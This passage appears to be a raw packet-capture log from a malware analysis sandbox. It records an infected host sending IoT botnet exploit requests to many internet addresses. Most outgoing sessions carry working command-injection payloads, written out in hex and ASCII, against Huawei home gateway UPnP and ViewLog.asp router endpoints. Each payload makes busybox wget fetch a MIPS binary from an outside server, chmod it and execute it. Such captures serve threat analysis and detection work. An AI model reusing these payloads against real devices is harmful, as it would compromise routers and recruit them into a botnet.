/tmp/kh zxyel
Nov 23, 2023 05:18:16.237507105 CET	163	IN	HTTP/1.1 404 Not Found Cache-control: no-cache Server: Ubicom/1.1 Content-Length: 9 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
768	192.168.2.13	46712	156.254.71.159	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:16.128592968 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:20.326208115 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
769	192.168.2.13	52352	106.53.18.21	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:16.180248976 CET	219	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 32 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:25Auth Result: Invalid user.

Session ID	Source IP	Source Port	Destination IP	Destination Port
770	192.168.2.13	57330	31.33.14.158	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:16.383263111 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
771	192.168.2.13	37926	62.87.204.114	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:16.414695978 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:16.628501892 CET	560	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 341 Connection: close Date: Thu, 23 Nov 2023 04:18:16 GMT Server: lighttpd/1.4.54 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 Not Found</title> </head> <body> <h1>404 Not Found</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
772	192.168.2.13	60176	94.120.25.175	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:16.430272102 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
773	192.168.2.13	54692	31.210.253.136	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:16.608673096 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:17.235898972 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:17.432008982 CET	427	IN	HTTP/1.1 301 Moved Permanently Server: mini_httpd/1.19 19dec2003 Date: Thu, 23 Nov 2023 04:18:17 GMT Content-Type: text/html; charset=%s Connection: close Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 3c 48 34 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 34 3e 0a 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 2e 0a 3c 48 52 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>301 Moved Permanently</TITLE></HEAD><BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"><H4>301 Moved Permanently</H4>Moved Permanently.<HR></BODY></HTML>
Nov 23, 2023 05:18:19.255386114 CET	427	IN	HTTP/1.1 301 Moved Permanently Server: mini_httpd/1.19 19dec2003 Date: Thu, 23 Nov 2023 04:18:17 GMT Content-Type: text/html; charset=%s Connection: close Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 3c 48 34 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 34 3e 0a 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 2e 0a 3c 48 52 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>301 Moved Permanently</TITLE></HEAD><BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"><H4>301 Moved Permanently</H4>Moved Permanently.<HR></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
774	192.168.2.13	35982	95.165.140.236	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:16.626585960 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:16.837115049 CET	687	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:18:16 GMT Server: Apache/2.4.46 (Unix) OpenSSL/1.1.1c Strict-Transport-Security: max-age=15552000; includeSubDomains Content-Length: 362 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 52 65 61 73 6f 6e 3a 20 59 6f 75 27 72 65 20 73 70 65 61 6b 69 6e 67 20 70 6c 61 69 6e 20 48 54 54 50 20 74 6f 20 61 6e 20 53 53 4c 2d 65 6e 61 62 6c 65 64 20 73 65 72 76 65 72 20 70 6f 72 74 2e 3c 62 72 20 2f 3e 0a 20 49 6e 73 74 65 61 64 20 75 73 65 20 74 68 65 20 48 54 54 50 53 20 73 63 68 65 6d 65 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 55 52 4c 2c 20 70 6c 65 61 73 65 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br />Reason: You're speaking plain HTTP to an SSL-enabled server port.<br /> Instead use the HTTPS scheme to access this URL, please.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
775	192.168.2.13	60370	94.188.131.72	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:16.659229040 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
776	192.168.2.13	44796	94.122.83.50	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:16.759059906 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
777	192.168.2.13	52400	106.53.18.21	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:16.867698908 CET	219	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 32 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 49 6e 76 61 6c 69 64 20 75 73 65 72 2e Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:25Auth Result: Invalid user.

Session ID	Source IP	Source Port	Destination IP	Destination Port
778	192.168.2.13	39828	31.136.79.58	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:16.868717909 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:20.070173025 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
779	192.168.2.13	41070	94.121.125.250	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:16.909221888 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
780	192.168.2.13	50294	31.200.3.41	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:16.909425974 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
781	192.168.2.13	40112	94.238.153.92	8080

Timestamp	Bytes transferred	Direction	Data
